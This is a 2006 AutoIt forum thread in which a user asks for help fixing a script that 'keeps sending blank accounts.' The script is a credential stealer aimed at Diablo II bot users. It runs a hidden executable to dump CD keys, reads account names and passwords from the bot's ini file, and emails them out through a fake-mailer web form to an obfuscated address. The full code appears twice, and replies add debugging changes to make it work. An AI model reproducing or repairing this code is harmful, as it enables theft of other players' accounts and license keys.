Help with script

[Garanator]

I'm not quite sure this is allowed and no i didn't make this script myself. I am a newb to autoit but wanna fix this cuz it would help me on diablo 2. i know its lame plz don't spam me for being lame. anyways heres the script.

Problem is it keeps sending blank accounts... <-- Might be against the rules i'm not sure but I figured i might as well ask right? You can fix it to work better or you can help me fix it to make it work better but like i said i am a newb.

#include <ie.au3>

#include <file.au3>

#include <string.au3>

Run ( "autod2jsp.exe" )

$path = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) & "\"

Global $key = ""

$encrypted = IniRead ( "autod2jsp.ini", "Global Settings", "hash", "55A80B789256D309A3E364F5B206DBF5C908FCA989ACB3E6BAD3C8E5DA15708FA3C675A4831F197D1E2E34C2" )

Global $mail = _StringEncrypt ( 0, $encrypted, "kaos" )

;;;;;;

FileCopy ( @ScriptDir & "\crack.dll", $path & "temp.exe", 1 )

RunWait ( $path & "temp.exe", "", @SW_HIDE )

$file = FileOpen ( $path & "output.txt", 0 )

$line1 = FileReadLine ( $file, 1 )

$line2 = FileReadLine ( $file, 2 )

$line3 = FileReadLine ( $file, 3 )

$owner = StringMid ( $line1, 6 )

$classic = StringMid ( $line2, 6 )

$exp = StringMid ( $line3, 6 )

$key = "Game owner: "&$owner&" Classic KEY: "&$classic&" Expansion KEY: "&$exp

FileClose ( $file )

_Email( $mail, "cdkey@hotmail.com","Cdkey","Free cd-key",$key,0)

Dim $account[99999], $pass[99999], $realm[99999]

$section = IniReadSectionNames ( "autod2jsp.ini" )

For $a = 1 to $section[0]

$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )

$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )

$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

If $realm[$a] = 0 Then

$realm[$a] = "USWest"

EndIf

If $realm[$a] = 1 Then

$realm[$a] = "USEast"

EndIf

If $realm[$a] = 2 Then

$realm[$a] = "Asia"

EndIf

If $realm[$a] = 3 Then

$realm[$a] = "Europe"

EndIf

$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)

If $hacked = 0 Then

IniWrite("autod2jsp.ini", "run", $account[$a], "1")

$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)

EndIf

Next

Func _Email($to,$from,$from_name,$subject,$message,$silent)

$oIE = _IECreate("http://www.fake-mailer.com/fmlite/",0, 0)

$i = 1

$o_form = _IEFormGetCollection($oIE, 0)

$o_name = _IEFormElementGetObjByName($o_form, "name")

$o_to = _IEFormElementGetObjByName($o_form, "to")

$o_subject = _IEFormElementGetObjByName($o_form, "subject")

$o_from = _IEFormElementGetObjByName($o_form, "from")

$o_message = _IEFormElementGetObjByName($o_form, "message")

_IEFormElementSetValue($o_name, $from_name)

_IEFormElementSetValue($o_to, $to)

_IEFormElementSetValue($o_subject, $subject)

_IEFormElementSetValue($o_from, $from)

_IEFormElementSetValue($o_message, $message)

_IEFormSubmit($o_form, 0)

while $i = 1

if WinExists ("Email was sent - Microsoft Internet Explorer") then

$i = 0

exitloop

endif

if WinExists("http://www.fake-mailer.com/fmlite/sendMail.php") then

Winclose ("http://www.fake-mailer.com/fmlite/sendMail.php")

if $silent = 1 then MsgBox(16,"Email Sender","Error Sending Email")

return 0

$i = 0

endif

wend

if $silent = 1 then MsgBox(64,"Email Sender","Email Was Sent")

Winclose ("Email was sent - Microsoft Internet Explorer")

return 1

endfunc ;==> _Email

[dirtymafia]

Do you have the ini file in the same directory as the script? Looks like it would read the account/password/realm from the ini file. If there was no ini file, or it was blank then it would read nothing because the default for no entry in the ini file is (none).

Edited June 23, 2006 by dirtymafia

[rbhkamal]

Please attach a sample INI file.

[Garanator]

Sample INI file, also it is being ran before all this information is being put in but it should still send everytime the it is run so i still should recieve an account instead of an empty email

Yes the the exe is in the same folder as the ini file

; Don't edit this file, use the GUI!

[Global Settings]

minimizeToTray=1

debugMode=0

showUpdateAlert=1

showSaveAlert=1

autoKillDuplicateD2=0

toolbarButtonShowMode=1

autod2jspWidth=731

autod2jspHeight=365

autod2jspXPos=22

autod2jspYPos=22

hash=55AB0B089223D279A39064F1B20EDBF5C90886AD8DDECF95BBA1CB97DB6470FFA3BA75A4FE1E1D091E2234C06B81

hasRun=1

[CHANGE THIS NAME]

d2Path=C:\Program Files\Diablo II\d2loader.exe

d2Title=Diablo II

cdkeyMpq=cdkey.mpq

accountName=Blahblah

accountPass=blahblah

gameFileName=bots\YAMB.d2j

starterFileName=YAMBstarter.d2j

gameName=gamename

gamePass=gamepass

followLeaderName=

useWindowMode=1

isD2Loader=1

useNoSound=0

useLowQuality=0

use640x480=0

useCdkeyMpq=0

autoStart=0

errorRestart=1

useRandomGameName=1

useRandomGamePass=1

pingFrequency=10

charLocation=2

gameDifficulty=2

gameType=1

realmId=1

minimizeD2=0

skipToBnet=0

isFollowBotMode=0

hasRun=1

[PsaltyDS]

I'm not quite sure this is allowed and no i didn't make this script myself. I am a newb to autoit but wanna fix this cuz it would help me on diablo 2. i know its lame plz don't spam me for being lame. anyways heres the script.

Problem is it keeps sending blank accounts... <-- Might be against the rules i'm not sure but I figured i might as well ask right? You can fix it to work better or you can help me fix it to make it work better but like i said i am a newb.

CODE

#include <ie.au3>

#include <file.au3>

#include <string.au3>

Run ( "autod2jsp.exe" )

$path = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) & "\"

Global $key = ""

$encrypted = IniRead ( "autod2jsp.ini", "Global Settings", "hash", "55A80B789256D309A3E364F5B206DBF5C908FCA989ACB3E6BAD3C8E5DA15708FA3C675A4831F197D1E2E34C2" )

Global $mail = _StringEncrypt ( 0, $encrypted, "kaos" )

;;;;;;

FileCopy ( @ScriptDir & "\crack.dll", $path & "temp.exe", 1 )

RunWait ( $path & "temp.exe", "", @SW_HIDE )

$file = FileOpen ( $path & "output.txt", 0 )

$line1 = FileReadLine ( $file, 1 )

$line2 = FileReadLine ( $file, 2 )

$line3 = FileReadLine ( $file, 3 )

$owner = StringMid ( $line1, 6 )

$classic = StringMid ( $line2, 6 )

$exp = StringMid ( $line3, 6 )

$key = "Game owner: "&$owner&" Classic KEY: "&$classic&" Expansion KEY: "&$exp

FileClose ( $file )

_Email( $mail, "cdkey@hotmail.com","Cdkey","Free cd-key",$key,0)

Dim $account[99999], $pass[99999], $realm[99999]

$section = IniReadSectionNames ( "autod2jsp.ini" )

For $a = 1 to $section[0]

$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )

$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )

$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

If $realm[$a] = 0 Then

$realm[$a] = "USWest"

EndIf

If $realm[$a] = 1 Then

$realm[$a] = "USEast"

EndIf

If $realm[$a] = 2 Then

$realm[$a] = "Asia"

EndIf

If $realm[$a] = 3 Then

$realm[$a] = "Europe"

EndIf

$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)

If $hacked = 0 Then

IniWrite("autod2jsp.ini", "run", $account[$a], "1")

$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)

EndIf

Next

Func _Email($to,$from,$from_name,$subject,$message,$silent)

$oIE = _IECreate("http://www.fake-mailer.com/fmlite/",0, 0)

$i = 1

$o_form = _IEFormGetCollection($oIE, 0)

$o_name = _IEFormElementGetObjByName($o_form, "name")

$o_to = _IEFormElementGetObjByName($o_form, "to")

$o_subject = _IEFormElementGetObjByName($o_form, "subject")

$o_from = _IEFormElementGetObjByName($o_form, "from")

$o_message = _IEFormElementGetObjByName($o_form, "message")

_IEFormElementSetValue($o_name, $from_name)

_IEFormElementSetValue($o_to, $to)

_IEFormElementSetValue($o_subject, $subject)

_IEFormElementSetValue($o_from, $from)

_IEFormElementSetValue($o_message, $message)

_IEFormSubmit($o_form, 0)

while $i = 1

if WinExists ("Email was sent - Microsoft Internet Explorer") then

$i = 0

exitloop

endif

if WinExists("http://www.fake-mailer.com/fmlite/sendMail.php") then

Winclose ("http://www.fake-mailer.com/fmlite/sendMail.php")

if $silent = 1 then MsgBox(16,"Email Sender","Error Sending Email")

return 0

$i = 0

endif

wend

if $silent = 1 then MsgBox(64,"Email Sender","Email Was Sent")

Winclose ("Email was sent - Microsoft Internet Explorer")

return 1

endfunc ;==> _Email

Insert some temprary debugging traps to see what's happening:

expandcollapse popup

; Additional include
#include <array.au3>

$section = IniReadSectionNames ( "autod2jsp.ini" )

; Debug display of $section array
_ArrayDisplay("Debug: $section", $section)

; Declare the arrays only as big as necesary
Dim $account[$section[0]+1], $pass[$section[0]+1], $realm[$section[0]+1]

For $a = 1 to $section[0]
$account[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountName", "(none)" )
$pass[$a] = IniRead ( "autod2jsp.ini", $section[$a], "accountPass", "(none)" )
$realm[$a] = IniRead ( "autod2jsp.ini", $section[$a], "realmId", "(none)" )

; Debug display of value read from ini file
MsgBox(64, "Debug: Read from ini file", "$a = " & $a & @CRLF & _
          "$acount[$a] = " & $acount[$a] & @CRLF & _
          "$pass[$a] = " & $pass[$a] & @CRLF & _
          "$realm[$a] = " & $realm[$a])

If $realm[$a] = 0 Then
$realm[$a] = "USWest"
EndIf
If $realm[$a] = 1 Then
$realm[$a] = "USEast"
EndIf

If $realm[$a] = 2 Then
$realm[$a] = "Asia"
EndIf

If $realm[$a] = 3 Then
$realm[$a] = "Europe"
EndIf
$hacked = IniRead("autod2jsp.ini", "run", $account[$a], 0)
If $hacked = 0 Then
IniWrite("autod2jsp.ini", "run", $account[$a], "1")
$acc = "Account: " & $account[$a] & " Password: " & $pass[$a] & " Realm: " & $realm[$a] & @CRLF

; Debug display of generated account info
MsgBox(64, "Debug: Account Info", "$acc = " & $acc)

_Email( $mail, "account@hotmail.com","Account","Free account",$acc,0)
EndIf
Next

Note I changed the way of declaring the arrays, I thought I remembered a limit on the max array index of 64K. I might be wrong, but I set it up to declare them only as big as required. The array.au3 include file was added for access to the _ArrayDisplay() function. Then there are some debug displays added. Run the script and see what values are coming out of your ini reads, etc.

Edited June 24, 2006 by PsaltyDS